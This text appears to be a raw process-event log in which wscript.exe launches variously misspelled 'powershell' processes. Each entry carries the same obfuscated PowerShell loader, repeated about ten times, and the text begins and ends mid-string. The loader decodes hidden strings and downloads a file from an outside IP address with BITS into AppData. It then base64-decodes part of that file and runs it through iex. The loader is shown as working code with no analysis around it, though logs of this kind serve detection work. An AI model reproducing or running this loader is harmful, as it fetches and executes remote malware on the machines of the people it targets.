=L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersjell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerskell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersyell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersqell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerstell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' 